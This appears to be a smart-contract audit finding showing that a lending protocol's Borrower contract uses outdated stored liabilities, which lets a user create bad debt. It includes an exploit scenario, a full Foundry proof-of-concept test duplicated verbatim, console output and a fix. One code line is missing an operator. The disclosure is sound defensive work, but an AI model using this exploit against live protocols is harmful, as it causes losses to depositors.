`Borrower`'s `modify`, `liquidate` and `warn` functions use stored (outdated) account liabilities which makes it possible for the user to intentionally put him into bad debt in 1 transaction
Possible scenario for the intentional creation of bad debt:\\nBorrow max amount at max leverage + some safety margin so that position is healthy for the next few days, for example borrow 10000 DAI, add margin of 1051 DAI for safety (51 DAI required for `MAX_LEVERAGE`, 1000 DAI safety margin)\\nWait for a long period of market inactivity (such as 1 day).\\nAt this point `borrowBalance` is greater than `borrowBalanceStored` by a value higher than `MAX_LEVERAGE` (example: `borrowBalance` = 10630 DAI, `borrowBalanceStored` = 10000 DAI)\\nCall `modify` and withdraw max possible amount (based on borrowBalanceStored), for example, withdraw 1000 DAI (remaining assets = 10051 DAI, which is healthy based on stored balance of 10000 DAI, but in fact this is already a bad debt, because borrow balance is 10630, which is more than remaining assets). This works, because liabilities used are outdated.\\nAt this point the user is already in bad debt, but due to points 1-2, it's still not liquidatable. After calling `Lender.accrueInterest` the account can be liquidated. This bad debt caused is the funds lost by the other users.\\nThis scenario is not profitable to the malicious user, but can be modified to make it profitable: the user can deposit large amount to lender before these steps, meaning the inflated interest rate will be accured by user's deposit to lender, but it will not be paid by the user due to bad debt (user will deposit 1051 DAI, withdraw 1000 DAI, and gain some share of accured 630 DAI, for example if he doubles the lender's TVL, he will gain 315 DAI - protocol fees).\\nThe scenario above is demonstrated in the test, create test/Exploit.t.sol:\\n```\\n// SPDX-License-Identifier: AGPL-3.0-only\\npragma solidity 0.8.17;\\n\\nimport "forge-std/Test.sol";\\n\\nimport {MAX_RATE, DEFAULT_ANTE, DEFAULT_N_SIGMA, LIQUIDATION_INCENTIVE} from "src/libraries/constants/Constants.sol";\\nimport {Q96} from "src/libraries/constants/Q.sol";\\nimport {zip} from "src/libraries/Positions.sol";\\n\\nimport "src/Borrower.sol";\\nimport "src/Factory.sol";\\nimport "src/Lender.sol";\\nimport "src/RateModel.sol";\\n\\nimport {FatFactory, VolatilityOracleMock} from "./Utils.sol";\\n\\ncontract RateModelMax is IRateModel {\\n    uint256 private constant _A = 6.1010463348e20;\\n\\n    uint256 private constant _B = _A / 1e18;\\n\\n    /// @inheritdoc IRateModel\\n    function getYieldPerSecond(uint256 utilization, address) external pure returns (uint256) {\\n        unchecked {\\n            return (utilization < 0.99e18) ? _A / (1e18 - utilization) - _B : MAX_RATE;\\n        }\\n    }\\n}\\n\\ncontract ExploitTest is Test, IManager, ILiquidator {\\n    IUniswapV3Pool constant pool = IUniswapV3Pool(0xC2e9F25Be6257c210d7Adf0D4Cd6E3E881ba25f8);\\n    ERC20 constant asset0 = ERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);\\n    ERC20 constant asset1 = ERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\\n\\n    Lender immutable lender0;\\n    Lender immutable lender1;\\n    Borrower immutable account;\\n\\n    constructor() {\\n        vm.createSelectFork(vm.rpcUrl("mainnet"));\\n        vm.rollFork(15_348_451);\\n\\n        Factory factory = new FatFactory(\\n            address(0),\\n            address(0),\\n            VolatilityOracle(address(new VolatilityOracleMock())),\\n            new RateModelMax()\\n        );\\n\\n        factory.createMarket(pool);\\n        (lender0, lender1, ) = factory.getMarket(pool);\\n        account = factory.createBorrower(pool, address(this), bytes12(0));\\n    }\\n\\n    function setUp() public {\\n        // deal to lender and deposit (so that there are assets to borrow)\\n        deal(address(asset0), address(lender0), 10000e18); // DAI\\n        deal(address(asset1), address(lender1), 10000e18); // WETH\\n        lender0.deposit(10000e18, address(12345));\\n        lender1.deposit(10000e18, address(12345));\\n\\n        deal(address(account), DEFAULT_ANTE + 1);\\n    }\\n\\n    function test_selfLiquidation() public {\\n\\n        // malicious user borrows at max leverage + some safety margin\\n        uint256 margin0 = 51e18 + 1000e18;\\n        uint256 borrows0 = 10000e18;\\n\\n        deal(address(asset0), address(account), margin0);\\n\\n        bytes memory data = abi.encode(Action.BORROW, borrows0, 0);\\n        account.modify(this, data, (1 << 32));\\n\\n        assertEq(lender0.borrowBalance(address(account)), borrows0);\\n        assertEq(asset0.balanceOf(address(account)), borrows0 + margin0);\\n\\n        // skip 1 day (without transactions)\\n        skip(86400);\\n\\n        emit log_named_uint("User borrow:", lender0.borrowBalance(address(account)));\\n        emit log_named_uint("User stored borrow:", lender0.borrowBalanceStored(address(account)));\\n\\n        // withdraw all the "extra" balance putting account into bad debt\\n        bytes memory data2 = abi.encode(Action.WITHDRAW, 1000e18, 0);\\n        account.modify(this, data2, (1 << 32));\\n\\n        // account is still not liquidatable (because liquidation also uses stored liabilities)\\n        vm.expectRevert();\\n        account.warn((1 << 32));\\n\\n        // make account liquidatable by settling accumulated interest\\n        lender0.accrueInterest();\\n\\n        // warn account\\n        account.warn((1 << 32));\\n\\n        // skip warning time\\n        skip(LIQUIDATION_GRACE_PERIOD);\\n        lender0.accrueInterest();\\n\\n        // liquidation reverts because it requires asset the account doesn't have to swap\\n        vm.expectRevert();\\n        account.liquidate(this, bytes(""), 1, (1 << 32));\\n\\n        emit log_named_uint("Before liquidation User borrow:", lender0.borrowBalance(address(account)));\\n        emit log_named_uint("Before liquidation User stored borrow:", lender0.borrowBalanceStored(address(account)));\\n        emit log_named_uint("Before liquidation User assets:", asset0.balanceOf(address(account)));\\n\\n        // liquidate with max strain to avoid revert when trying to swap assets account doesn't have\\n        account.liquidate(this, bytes(""), type(uint256).max, (1 << 32));\\n\\n        emit log_named_uint("Liquidated User borrow:", lender0.borrowBalance(address(account)));\\n        emit log_named_uint("Liquidated User assets:", asset0.balanceOf(address(account)));\\n    }\\n\\n    enum Action {\\n        WITHDRAW,\\n        BORROW,\\n        UNI_DEPOSIT\\n    }\\n\\n    // IManager\\n    function callback(bytes calldata data, address, uint208) external returns (uint208 positions) {\\n        require(msg.sender == address(account));\\n\\n        (Action action, uint256 amount0, uint256 amount1) = abi.decode(data, (Action, uint256, uint256));\\n\\n        if (action == Action.WITHDRAW) {\\n            account.transfer(amount0, amount1, address(this));\\n        } else if (action == Action.BORROW) {\\n            account.borrow(amount0, amount1, msg.sender);\\n        } else if (action == Action.UNI_DEPOSIT) {\\n            account.uniswapDeposit(-75600, -75540, 200000000000000000);\\n            positions = zip([-75600, -75540, 0, 0, 0, 0]);\\n        }\\n    }\\n\\n    // ILiquidator\\n    receive() external payable {}\\n\\n    function swap1For0(bytes calldata data, uint256 actual, uint256 expected0) external {\\n        /*\\n        uint256 expected = abi.decode(data, (uint256));\\n        if (expected == type(uint256).max) {\\n            Borrower(payable(msg.sender)).liquidate(this, data, 1, (1 << 32));\\n        }\\n        assertEq(actual, expected);\\n        */\\n        pool.swap(msg.sender, false, -int256(expected0), TickMath.MAX_SQRT_RATIO - 1, bytes(""));\\n    }\\n\\n    function swap0For1(bytes calldata data, uint256 actual, uint256 expected1) external {\\n        /*\\n        uint256 expected = abi.decode(data, (uint256));\\n        if (expected == type(uint256).max) {\\n            Borrower(payable(msg.sender)).liquidate(this, data, 1, (1 << 32));\\n        }\\n        assertEq(actual, expected);\\n        */\\n        pool.swap(msg.sender, true, -int256(expected1), TickMath.MIN_SQRT_RATIO + 1, bytes(""));\\n    }\\n\\n    // IUniswapV3SwapCallback\\n    function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata) external {\\n        if (amount0Delta > 0) asset0.transfer(msg.sender, uint256(amount0Delta));\\n        if (amount1Delta > 0) asset1.transfer(msg.sender, uint256(amount1Delta));\\n    }\\n\\n    // Factory mock\\n    function getParameters(IUniswapV3Pool) external pure returns (uint248 ante, uint8 nSigma) {\\n        ante = DEFAULT_ANTE;\\n        nSigma = DEFAULT_N_SIGMA;\\n    }\\n\\n    // (helpers)\\n    function _setInterest(Lender lender, uint256 amount) private {\\n        bytes32 ID = bytes32(uint256(1));\\n        uint256 slot1 = uint256(vm.load(address(lender), ID));\\n\\n        uint256 borrowBase = slot1 % (1 << 184);\\n        uint256 borrowIndex = slot1  184;\\n\\n        uint256 newSlot1 = borrowBase + (((borrowIndex * amount) / 10_000) << 184);\\n        vm.store(address(lender), ID, bytes32(newSlot1));\\n    }\\n}\\n```\\n\\nExecution console log:\\n```\\n  User borrow:: 10629296791890000000000\\n  User stored borrow:: 10000000000000000000000\\n  Before liquidation User borrow:: 10630197795010000000000\\n  Before liquidation User stored borrow:: 10630197795010000000000\\n  Before liquidation User assets:: 10051000000000000000000\\n  Liquidated User borrow:: 579197795010000000001\\n  Liquidated User assets:: 0\\n```\\n\\nAs can be seen, in the end user debt is 579 DAI with 0 assets.
Consider using `borrowBalance` instead of `borrowBalanceStored` in `_getLiabilities()`.
Malicious user can create bad debt to his account in 1 transaction. Bad debt is the amount not withdrawable from the lender by users who deposited. Since users will know that the lender doesn't have enough assets to pay out to all users, it can cause bank run since first users to withdraw from lender will be able to do so, while those who are the last to withdraw will lose their funds.
```\\n// SPDX-License-Identifier: AGPL-3.0-only\\npragma solidity 0.8.17;\\n\\nimport "forge-std/Test.sol";\\n\\nimport {MAX_RATE, DEFAULT_ANTE, DEFAULT_N_SIGMA, LIQUIDATION_INCENTIVE} from "src/libraries/constants/Constants.sol";\\nimport {Q96} from "src/libraries/constants/Q.sol";\\nimport {zip} from "src/libraries/Positions.sol";\\n\\nimport "src/Borrower.sol";\\nimport "src/Factory.sol";\\nimport "src/Lender.sol";\\nimport "src/RateModel.sol";\\n\\nimport {FatFactory, VolatilityOracleMock} from "./Utils.sol";\\n\\ncontract RateModelMax is IRateModel {\\n    uint256 private constant _A = 6.1010463348e20;\\n\\n    uint256 private constant _B = _A / 1e18;\\n\\n    /// @inheritdoc IRateModel\\n    function getYieldPerSecond(uint256 utilization, address) external pure returns (uint256) {\\n        unchecked {\\n            return (utilization < 0.99e18) ? _A / (1e18 - utilization) - _B : MAX_RATE;\\n        }\\n    }\\n}\\n\\ncontract ExploitTest is Test, IManager, ILiquidator {\\n    IUniswapV3Pool constant pool = IUniswapV3Pool(0xC2e9F25Be6257c210d7Adf0D4Cd6E3E881ba25f8);\\n    ERC20 constant asset0 = ERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);\\n    ERC20 constant asset1 = ERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\\n\\n    Lender immutable lender0;\\n    Lender immutable lender1;\\n    Borrower immutable account;\\n\\n    constructor() {\\n        vm.createSelectFork(vm.rpcUrl("mainnet"));\\n        vm.rollFork(15_348_451);\\n\\n        Factory factory = new FatFactory(\\n            address(0),\\n            address(0),\\n            VolatilityOracle(address(new VolatilityOracleMock())),\\n            new RateModelMax()\\n        );\\n\\n        factory.createMarket(pool);\\n        (lender0, lender1, ) = factory.getMarket(pool);\\n        account = factory.createBorrower(pool, address(this), bytes12(0));\\n    }\\n\\n    function setUp() public {\\n        // deal to lender and deposit (so that there are assets to borrow)\\n        deal(address(asset0), address(lender0), 10000e18); // DAI\\n        deal(address(asset1), address(lender1), 10000e18); // WETH\\n        lender0.deposit(10000e18, address(12345));\\n        lender1.deposit(10000e18, address(12345));\\n\\n        deal(address(account), DEFAULT_ANTE + 1);\\n    }\\n\\n    function test_selfLiquidation() public {\\n\\n        // malicious user borrows at max leverage + some safety margin\\n        uint256 margin0 = 51e18 + 1000e18;\\n        uint256 borrows0 = 10000e18;\\n\\n        deal(address(asset0), address(account), margin0);\\n\\n        bytes memory data = abi.encode(Action.BORROW, borrows0, 0);\\n        account.modify(this, data, (1 << 32));\\n\\n        assertEq(lender0.borrowBalance(address(account)), borrows0);\\n        assertEq(asset0.balanceOf(address(account)), borrows0 + margin0);\\n\\n        // skip 1 day (without transactions)\\n        skip(86400);\\n\\n        emit log_named_uint("User borrow:", lender0.borrowBalance(address(account)));\\n        emit log_named_uint("User stored borrow:", lender0.borrowBalanceStored(address(account)));\\n\\n        // withdraw all the "extra" balance putting account into bad debt\\n        bytes memory data2 = abi.encode(Action.WITHDRAW, 1000e18, 0);\\n        account.modify(this, data2, (1 << 32));\\n\\n        // account is still not liquidatable (because liquidation also uses stored liabilities)\\n        vm.expectRevert();\\n        account.warn((1 << 32));\\n\\n        // make account liquidatable by settling accumulated interest\\n        lender0.accrueInterest();\\n\\n        // warn account\\n        account.warn((1 << 32));\\n\\n        // skip warning time\\n        skip(LIQUIDATION_GRACE_PERIOD);\\n        lender0.accrueInterest();\\n\\n        // liquidation reverts because it requires asset the account doesn't have to swap\\n        vm.expectRevert();\\n        account.liquidate(this, bytes(""), 1, (1 << 32));\\n\\n        emit log_named_uint("Before liquidation User borrow:", lender0.borrowBalance(address(account)));\\n        emit log_named_uint("Before liquidation User stored borrow:", lender0.borrowBalanceStored(address(account)));\\n        emit log_named_uint("Before liquidation User assets:", asset0.balanceOf(address(account)));\\n\\n        // liquidate with max strain to avoid revert when trying to swap assets account doesn't have\\n        account.liquidate(this, bytes(""), type(uint256).max, (1 << 32));\\n\\n        emit log_named_uint("Liquidated User borrow:", lender0.borrowBalance(address(account)));\\n        emit log_named_uint("Liquidated User assets:", asset0.balanceOf(address(account)));\\n    }\\n\\n    enum Action {\\n        WITHDRAW,\\n        BORROW,\\n        UNI_DEPOSIT\\n    }\\n\\n    // IManager\\n    function callback(bytes calldata data, address, uint208) external returns (uint208 positions) {\\n        require(msg.sender == address(account));\\n\\n        (Action action, uint256 amount0, uint256 amount1) = abi.decode(data, (Action, uint256, uint256));\\n\\n        if (action == Action.WITHDRAW) {\\n            account.transfer(amount0, amount1, address(this));\\n        } else if (action == Action.BORROW) {\\n            account.borrow(amount0, amount1, msg.sender);\\n        } else if (action == Action.UNI_DEPOSIT) {\\n            account.uniswapDeposit(-75600, -75540, 200000000000000000);\\n            positions = zip([-75600, -75540, 0, 0, 0, 0]);\\n        }\\n    }\\n\\n    // ILiquidator\\n    receive() external payable {}\\n\\n    function swap1For0(bytes calldata data, uint256 actual, uint256 expected0) external {\\n        /*\\n        uint256 expected = abi.decode(data, (uint256));\\n        if (expected == type(uint256).max) {\\n            Borrower(payable(msg.sender)).liquidate(this, data, 1, (1 << 32));\\n        }\\n        assertEq(actual, expected);\\n        */\\n        pool.swap(msg.sender, false, -int256(expected0), TickMath.MAX_SQRT_RATIO - 1, bytes(""));\\n    }\\n\\n    function swap0For1(bytes calldata data, uint256 actual, uint256 expected1) external {\\n        /*\\n        uint256 expected = abi.decode(data, (uint256));\\n        if (expected == type(uint256).max) {\\n            Borrower(payable(msg.sender)).liquidate(this, data, 1, (1 << 32));\\n        }\\n        assertEq(actual, expected);\\n        */\\n        pool.swap(msg.sender, true, -int256(expected1), TickMath.MIN_SQRT_RATIO + 1, bytes(""));\\n    }\\n\\n    // IUniswapV3SwapCallback\\n    function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata) external {\\n        if (amount0Delta > 0) asset0.transfer(msg.sender, uint256(amount0Delta));\\n        if (amount1Delta > 0) asset1.transfer(msg.sender, uint256(amount1Delta));\\n    }\\n\\n    // Factory mock\\n    function getParameters(IUniswapV3Pool) external pure returns (uint248 ante, uint8 nSigma) {\\n        ante = DEFAULT_ANTE;\\n        nSigma = DEFAULT_N_SIGMA;\\n    }\\n\\n    // (helpers)\\n    function _setInterest(Lender lender, uint256 amount) private {\\n        bytes32 ID = bytes32(uint256(1));\\n        uint256 slot1 = uint256(vm.load(address(lender), ID));\\n\\n        uint256 borrowBase = slot1 % (1 << 184);\\n        uint256 borrowIndex = slot1  184;\\n\\n        uint256 newSlot1 = borrowBase + (((borrowIndex * amount) / 10_000) << 184);\\n        vm.store(address(lender), ID, bytes32(newSlot1));\\n    }\\n}\\n```\\n